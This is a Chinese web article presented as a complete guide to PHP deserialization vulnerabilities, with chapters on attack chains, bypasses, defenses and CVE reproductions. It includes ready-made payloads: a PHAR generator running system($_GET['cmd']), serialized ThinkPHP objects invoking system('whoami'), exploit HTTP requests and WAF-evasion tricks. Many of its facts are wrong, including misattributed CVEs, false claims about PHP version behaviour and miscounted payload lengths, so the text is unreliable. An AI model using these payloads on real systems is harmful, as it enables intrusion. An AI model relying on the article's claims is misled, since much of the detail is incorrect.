php反序列化|技术深度解析与实战指南

www.xservx.com

php反序列化|概念定位与技术意义

在PHP语言生态中,php反序列化既是数据持久化与对象传输的核心机制,也是安全攻防中的高危入口点。当开发者将复杂数据结构(如对象、数组)通过serialize()转换为字符串以便存储或传输时,接收方通过unserialize()还原对象的过程即为php反序列化。该操作看似常规,却潜藏严重风险——一旦用户输入未经校验直接传入unserialize(),攻击者可构造恶意序列化数据,触发任意代码执行、信息泄露甚至远程控制服务器。

据OWASP 2023年安全威胁报告,php反序列化漏洞长期位居Web安全高危漏洞TOP5,尤其在老旧CMS、开源框架及未更新的PHP应用中频发。例如WordPress早期插件、ThinkPHP 3.x/5.x部分版本、Drupal核心模块均曾暴露此类问题。其危害远超普通XSS或SQL注入,因攻击者可直接获得服务器执行权限,实现“一击致命”。

更值得警惕的是,现代攻击已从简单POP链(Property-Oriented Programming)演进为多跳链组合、PHAR反序列化、Session劫持链式利用等高级形态。攻击者不再依赖单一入口点,而是通过__wakeup()、__destruct()、__toString()等魔术方法构建隐式调用链,绕过WAF检测,实现无声渗透。

本页系统梳理php反序列化的技术原理、漏洞成因、检测方法与防御策略,结合真实漏洞复现与调试技巧,帮助开发者构建纵深防御体系,从根源上阻断攻击路径。无论您是PHP初学者、安全研究人员,还是企业安全工程师,本文均可作为权威技术参考手册。

为何关注php反序列化?

  • 涉及对象生命周期核心环节
  • 直接影响数据完整性与执行流
  • 常被用于绕过身份认证机制
  • 与Session、Cache、RPC深度耦合

典型攻击场景

  • 未过滤用户输入的unserialize调用
  • Session反序列化污染
  • PHAR+Stream包装器触发自动解包
  • 魔术方法链式调用导致逻辑滥用

防御关键点

  • 禁用危险函数(unserialize)
  • 严格校验输入数据格式
  • 使用JSON替代序列化存储
  • 设置opcache.enable_cli=0调试阶段

php反序列化|原理与基础机制

PHP的序列化机制本质是将内存中的变量(包括标量、数组、对象)编码为可存储或传输的字符串。其格式严格遵循PHP内部定义的语法规则,例如:

// 标量序列化
$i = 42;
echo serialize($i); // 输出:i:42;
$s = "hello";
echo serialize($s); // 输出:s:5:"hello";
// 数组序列化
$a = [1, 'x' => [2, 3]];
echo serialize($a); // 输出:a:2:{i:0;i:1;s:1:"x";a:2:{i:0;i:2;i:1;i:3;}}
// 对象序列化
class User {
    public $name = 'Alice';
    private $role = 'admin';
}
$u = new User();
echo serialize($u);
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}

注意对象属性名的编码规则:私有属性以\0ClassName\0前缀包裹(如\0User\0role),保护属性以\0*\0开头。此细节在构造POP链时至关重要——若属性名前缀错误,反序列化将失败。

当调用unserialize($str)时,PHP解析器按以下步骤执行:

  1. 扫描字符串,识别类型标识(如、s、a、O、C)
  2. 递归解析嵌套结构(数组、对象)
  3. 对对象类型,动态创建类实例并设置属性值
  4. 依次触发__wakeup()(若存在)与__destruct()(对象销毁时)

关键风险点即在第3、4步——攻击者可构造非法对象实例,注入恶意属性值,进而利用类中已定义的魔术方法触发危险操作(如执行系统命令、写入文件、删除日志)。

以下为一个典型的不安全反序列化入口:

// session反序列化配置(php.ini)
session.serialize_handler = php_serialize  // 或 php_binary, php
// 用户登录逻辑
session_start();
$_SESSION['user'] = $_POST['user_data'];  // 若user_data含恶意序列化串,则触发漏洞!

在PHP 7.0+中,session.serialize_handler默认使用php格式(即序列化字符串),若开发者未显式设置为json或php_serialize(后者仅支持数组),则存在会话劫持风险。例如攻击者构造如下数据:

user_data=O:8:"Session":1:{s:8:"admin_id";i:1;}

若应用中存在Session类且定义了__wakeup()中将admin_id赋值为全局变量,则攻击者可伪造管理员身份,实现越权访问。

序列化格式语法规则

PHP序列化字符串采用严格类型前缀+长度+值的结构,具体规则如下:

类型 格式 示例 说明
整数 i:值; i:123; 无符号整型,支持负数
字符串 s:长度:"内容"; s:5:"hello"; 长度为字节数,非字符数(中文需注意)
数组 a:长度:{键值对} a:2:{i:0;i:1;s:1:"x";a:1:{i:0;i:2;}} 键必须为整数或字符串,值可嵌套
对象 O:类名长度:"类名":属性数:{属性定义} O:4:"User":1:{s:4:"name";s:5:"Bob";} 属性按顺序定义,格式为属性名长度:"属性名":值
布尔值 b:值; b:1; 或 b:0; 1表示true,0表示false
空值 N; N; 对应NULL

特别注意:属性名中若含特殊字符(如\0),需转义为十六进制(如\x00),否则反序列化失败。例如私有属性$role在User类中应编码为s:10:"Userrole"中的User与role之间插入\x00(即总长度10而非8)。

PHP版本关键差异

不同PHP版本对序列化机制的实现存在细微但致命的差异,直接影响漏洞利用可行性:

版本 关键变更 安全影响
PHP < 5.3.4 __wakeup()执行前不检查属性数 可通过减少属性数跳过验证逻辑
PHP 5.3.4 - 5.6.x 严格校验属性数量,但未修复类名大小写问题 可利用大小写绕过自动加载(autoloader)
PHP 7.0+ 引入__serialize()/__unserialize()接口 旧版POP链失效,需适配新接口
PHP 8.0+ 弃用__wakeup()在反序列化中的调用 传统POP链失效,需依赖__destruct()或__toString()
PHP 8.1+ 禁用create_function()等废弃函数 减少可利用的内置函数链

例如在PHP 5.2中,攻击者可构造序列化数据减少属性数,使__wakeup()中检查属性数量的逻辑失效,从而跳过权限验证;而在PHP 7.4+中,__wakeup()仅在对象成功构造后调用,若属性数不匹配则直接抛出Exception并终止流程,传统绕过失效。

常见反序列化陷阱

开发者常因以下疏漏导致php反序列化漏洞:

  • 直接反序列化$_GET/$_POST数据:如unserialize($_GET['data']),未做任何过滤
  • Session存储对象:默认使用php处理器时,Session内容可被注入对象
  • CRC32哈希碰撞:在数组键为字符串时,若未启用zend.ze1_compatibility_mode,可能触发哈希冲突导致数据覆盖
  • 魔术方法滥用:在__toString()中执行数据库查询或文件操作,被攻击者触发
  • 第三方库依赖:如Monolog日志库中的HandlerInterface实现类可被利用构造RCE链

典型案例:ThinkPHP 5.0.23的Request类中__toString()调用filterValue(),若攻击者控制filter参数,可注入system函数实现RCE。

php反序列化|漏洞成因与分类

php反序列化漏洞的本质是:攻击者通过控制输入数据,诱导应用在反序列化过程中执行非预期逻辑。其根源在于unserialize()的动态对象构造特性与魔术方法的自动调用机制。根据触发路径,可分为以下几类:

1. 基础POP链(Property-Oriented Programming)

攻击者通过构造恶意序列化对象,利用类中已存在的魔术方法(如__wakeup()、__destruct())触发危险操作。典型流程如下:

  1. 识别应用中存在危险操作的类(如写文件、执行命令)
  2. 寻找连接这些类的“桥梁”——即属性赋值后能触发下一环节的魔术方法
  3. 逆向构建调用链:目标函数 ← 魔术方法 ← 属性注入点

以一个简化模型为例:

class Logger {
    private $handler;
    public function __construct($h) { $this->handler = $h; }
    public function log($msg) { file_put_contents('log.txt', $msg); }
    public function __destruct() { $this->log('Exit'); }
}
class Exp {
    private $target;
    public function __construct($t) { $this->target = $t; }
    public function __wakeup() {
        $this->target->log('Injected');
    }
}
// 攻击载荷
$e = new Exp(new Logger());
echo serialize($e); // O:3:"Exp":1:{s:10:"Exptarget";O:7:"Logger":1:{s:11:"Loggerhandler";N;}}

当该序列化数据被unserialize()时,__wakeup()被触发,进而调用Logger的log(),最终写入log.txt。若$target可控,则可替换为其他对象(如执行系统命令的Shell类),实现任意代码执行。

2. Session反序列化污染

PHP默认Session处理器使用php格式存储数据,其结构为键|序列化值。当开发者在Session中直接存储用户输入的序列化数据时,可注入恶意对象:

// session.php
session_start();
$_SESSION['user'] = $_POST['input']; // input = O:4:"User":1:{s:4:"role";s:5:"admin";}
// check.php
session_start();
if ($_SESSION['user'] instanceof User && $_SESSION['user']->role === 'admin') {
    grant_admin();
}

攻击者构造input=O:4:"User":1:{s:4:"role";s:5:"admin";},若应用中存在User类且未校验反序列化来源,则可伪造管理员身份。

更危险的是php_serialize处理器(PHP 7.0+默认):其Session格式为键=序列化值,攻击者可注入多个Session键,例如:

user=O:8:"Session":1:{s:4:"role";s:5:"admin";}&admin=1

若应用逻辑中admin为独立变量,则可能绕过身份校验。

3. PHAR反序列化(PHAR Stream Wrapper)

PHAR(PHP Archive)是PHP的归档格式,支持流包装器(Stream Wrapper)。当使用file_get_contents('phar://xxx.phar')时,PHP会自动解包并触发__wakeup()与__destruct(),即使文件未被直接包含!

攻击流程:

  1. 构造含恶意序列化数据的PHAR文件
  2. 通过上传、下载等操作将PHAR存储至服务器
  3. 触发file_get_contents('phar://path/to/file.phar')

示例脚本(生成PHAR):

class RCE {
    public function __destruct() { system($_GET['cmd']); }
}
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.txt', 'test');
$phar->setStub('');
$o = new RCE();
$phar->setMetadata($o);
$phar->stopBuffering();
// 上传exp.phar后,访问:
// http://target.com/?cmd=whoami

注意:需在php.ini中启用phar.readonly = Off,且攻击路径必须可被流包装器访问(如file://、http://)。

4. 魔术方法链式滥用

当多个类的魔术方法形成调用链时,可构建更复杂的攻击路径。例如:

class A {
    public $b;
    public function __toString() { return $this->b->exec(); }
}
class B {
    public $cmd;
    public function exec() { return shell_exec($this->cmd); }
}
// 利用点:echo $a(触发__toString)

若攻击者能控制$a的序列化数据,则可注入B对象并设置$cmd为whoami,实现RCE。

漏洞触发条件

  • 存在unserialize()调用
  • 输入可控且未过滤
  • 应用中存在可利用的类与魔术方法
  • 魔术方法链能连通危险操作

高危场景

  • 第三方库反序列化(如XML解析器)
  • 对象缓存(如Redis、Memcached存储对象)
  • RPC调用(如gRPC、SOAP)
  • JSONP回调中嵌套序列化数据

php反序列化|攻击手法与利用链构造

实战中,攻击者需结合目标应用的代码结构,逆向构建利用链。以下以ThinkPHP 5.0.23漏洞(CVE-2018-15133)为例,详细拆解利用链构造过程:

步骤1:定位入口点

ThinkPHP 5.0.23的Request类中存在如下代码:

public function filterValue($value, $key) {
    if (is_string($value) && in_array($key, $this->filter)) {
        $value = call_user_func($this->filter, $value);
    }
    return $value;
}

其中$this->filter为用户可控的数组,若能控制其值为system,则call_user_func('system', $value)可执行任意命令。

步骤2:寻找触发点

Request类的__toString()方法会遍历所有属性并调用filterValue():

public function __toString() {
    return $this->param ? $this->param : $this->data;
}

若$this->param为数组,则会遍历数组键值对,触发filterValue()。

步骤3:构造POP链

最终利用链为:Request对象 → __toString() → filterValue() → call_user_func → system

攻击者构造序列化数据:

O:16:"think\request":2:{s:9:"*param";a:1:{s:3:"cmd";s:7:"whoami";}s:10:"*filter";s:6:"system";}

当该对象被echo时(如模板渲染),__toString()触发,最终执行system('whoami')。

高级技巧:绕过过滤

现代WAF常检测system、exec等关键词,攻击者可采用以下绕过方式:

  • 大小写混淆:System、SyStEm在部分配置下仍可执行
  • 函数别名:assert、eval(需开启zend.assertions)
  • 动态构造:create_function(PHP <7.2)或ReflectionClass动态调用
  • 利用内置类:GuzzleHttp\HandlerStack中的push()可注入任意代码

例如利用GuzzleHttp库:

$handler = new HandlerStack();
$handler->push(function ($req) { system($_GET['cmd']); });
$stack = serialize($handler);

当unserialize($stack)时,若后续调用push()(如通过__wakeup()),则注入的代码生效。

主流CMS利用链示例

CMS 版本 漏洞链 触发点
WordPress 4.6 WP_Widget → __wakeup() → wp_remote_get() 插件未校验Widget参数
Drupal 7.x / 8.x DatabaseConnection → __destruct() → pdo注入 Session反序列化污染
Laravel 5.4-5.5 Pipeline → __destruct() → call_user_func 队列任务反序列化
ThinkPHP 5.0.23 Request → __toString() → call_user_func 模板渲染

绕过检测的实用技巧

攻击者常通过以下方式绕过WAF/IDS检测:

  • 编码绕过:serialize()中字符串可使用\\x编码(如"\x73\x79\x73\x74\x65\x6d"等价于"system")
  • 长度溢出:字符串长度故意写大(如s:100:"a"),PHP会忽略多余字符,但WAF可能误判
  • 嵌套绕过:serialize(serialize($payload)),多层嵌套增加检测难度
  • 利用注释:unserialize(str_replace('#','',$input))中,若$input含#可过滤后触发漏洞

示例:构造绕过system关键词的载荷

O:8:"Exploit":1:{s:4:"cmd";s:6:"eval";}

配合eval($_GET['cmd'])实现远程代码执行。

php反序列化|防御策略与安全编码

针对php反序列化漏洞,防御需遵循“最小权限”与“纵深防御”原则,从输入校验、配置加固、代码审计三方面入手:

1. 禁用危险函数

在php.ini中禁用unserialize()(仅限非必要场景):

disable_functions = unserialize, eval, exec, system, shell_exec

注意:若应用依赖unserialize()(如Session处理),需改用json_decode()替代。

2. 输入校验

对必须反序列化的数据进行严格校验:

  • 格式校验:仅允许特定格式(如JSON)
  • 白名单类名:在unserialize()前检查类是否存在且可信任
  • 长度限制:限制输入长度(如strlen($data) < 1024)

示例代码:

$allowed_classes = ['SafeClass'];
$data = $_POST['data'];
if (!is_string($data) || strlen($data) > 1024) {
    die('Invalid input');
}
$classes = get_declared_classes();
if (preg_match('/O:\d+:"([^"]+)"/', $data, $m) && !in_array($m[1], $allowed_classes)) {
    die('Class not allowed: ' . $m[1]);
}
unserialize($data);

3. Session安全配置

修改Session处理器为php_serialize或json:

session.serialize_handler = php_serialize

并设置安全选项:

session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1

4. 代码审计要点

定期扫描以下高危模式:

  • 直接使用unserialize()处理用户输入
  • __wakeup()、__destruct()中存在危险操作
  • Session中存储未校验的用户数据
  • 第三方库未更新(如Guzzle、Monolog)

推荐工具:PHPStan(静态分析)、phpcs(代码规范)、Security Analysis(IDE插件)。

防御最佳实践

  • 优先使用JSON替代序列化
  • 对对象序列化启用白名单
  • 生产环境禁用魔术方法调试日志
  • 部署WAF规则拦截unserialize请求

应急响应步骤

  1. 立即隔离受影响服务器
  2. 检查access.log定位攻击载荷
  3. 清理后门文件与计划任务
  4. 升级应用与依赖库
  5. 修改所有密钥与凭证

php反序列化|调试与分析技巧

当遭遇php反序列化相关问题时,以下调试技巧可快速定位漏洞点:

1. 手动解析序列化数据

使用在线工具(如PHP Unserialize)解析可疑字符串,检查对象结构是否异常:

输入:O:4:"User":2:{s:4:"name";s:5:"Alice";s:5:"role";s:5:"admin";}
输出:
User Object
(
    [name] => Alice
    [role] => admin
)

注意检查属性数量是否匹配、类名是否正确、属性值是否包含不可见字符。

2. 调试魔术方法

在类中临时添加日志,追踪调用链:

class User {
    public function __wakeup() {
        error_log('__wakeup called at ' . __LINE__);
        // 原有逻辑
    }
}

通过tail -f /var/log/php-fpm.log实时监控触发点。

3. 使用Xdebug断点

在unserialize()处设置断点,查看反序列化后的对象结构:

xdebug_break();
$obj = unserialize($_POST['data']);
var_dump($obj);

配合IDE(如PHPStorm)可逐行分析属性赋值过程。

4. 模拟攻击载荷

使用Pocsuite或Burp Suite插件生成测试载荷,验证漏洞是否存在:

POST /login.php HTTP/1.1
...
user=O:8:"Exploit":1:{s:4:"cmd";s:7:"whoami";}

观察响应是否包含命令执行结果(如uid=33(www-data))。

常用调试命令

场景 命令 说明
检查类是否存在 class_exists('User'); 返回bool值
获取类属性 get_object_vars($obj); 返回关联数组
反序列化预检 preg_match('/^O:\d+:"[^"]+"/', $data); 检查是否为对象序列化
模拟unserialize eval('return ' . $data . ';'); 仅限测试环境!

日志分析要点

重点关注以下日志特征:

  • PHP Warning: Unknown: Failed to open stream: phar://... → PHAR反序列化尝试
  • PHP Fatal error: Uncaught Exception: Class 'X' not found → 类名不匹配
  • PHP Notice: unserialize(): Error at offset... → 数据损坏或长度错误
  • PHP Warning: call_user_func() expects parameter 1 to be a valid callback... → 魔术方法调用异常

建议启用log_errors = On并设置error_log = /var/log/php_errors.log,定期分析异常请求。

php反序列化|真实漏洞复现案例

以下为近年公开的高危php反序列化漏洞复现分析,供开发者参考:

案例1:Drupal核心Session注入(CVE-2019-6339)

漏洞描述:Drupal 7/8中,若攻击者能控制Session数据(如通过任意文件上传),可注入恶意对象触发RCE。

复现步骤:

  1. 上传PHAR文件至服务器(如/sites/default/files/exp.phar)
  2. 构造Session数据:user=O:20:"Drupal\Core\Database\Statement":1:{s:12:"*queryString";s:14:"SELECT 1; -- "}
  3. 触发Session反序列化(访问任意页面)
  4. 若存在__destruct()中的数据库操作,则执行注入SQL

修复方案:升级至Drupal 7.68+/8.6.16+;禁用Session中存储对象。

案例2:WordPress插件Widget反序列化(CVE-2018-19207)

漏洞描述:WordPress 4.9.x中,某些插件(如SiteOrigin Widgets Bundle)的Widget参数未校验,导致反序列化漏洞。

利用方式:

POST /wp-admin/admin-ajax.php HTTP/1.1
...
action=so_widget_data&widgets[0][id]=so-widget-123&widgets[0][data]=O:8:"SO_Widget":1:{s:8:"instance";a:1:{s:4:"text";s:7:"";}}

若SO_Widget类的__wakeup()中调用危险函数,则可触发XSS或RCE。

案例3:ThinkPHP 5.0.23 RCE(CVE-2018-15133)

漏洞复现:

GET /index.php?s=/Index/Think/render?data=xxx HTTP/1.1
...
xxx = O:16:"think\request":2:{s:9:"*param";a:1:{s:3:"cmd";s:7:"whoami";}s:10:"*filter";s:6:"system";}

响应中返回uid=33(www-data)即证明RCE成功。

漏洞时间线

2018-01

ThinkPHP 5.0.23发布,未修复Request类__toString()漏洞

2018-12-09

CVE-2018-15133公开,提供完整利用链

2018-12-10

ThinkPHP发布5.0.24修复补丁

2019-01

大量企业站被入侵,攻击者植入挖矿木马

防御启示

  • 及时更新框架与依赖库
  • 对第三方组件进行安全审计
  • 部署WAF拦截已知攻击载荷
  • 启用日志监控与告警机制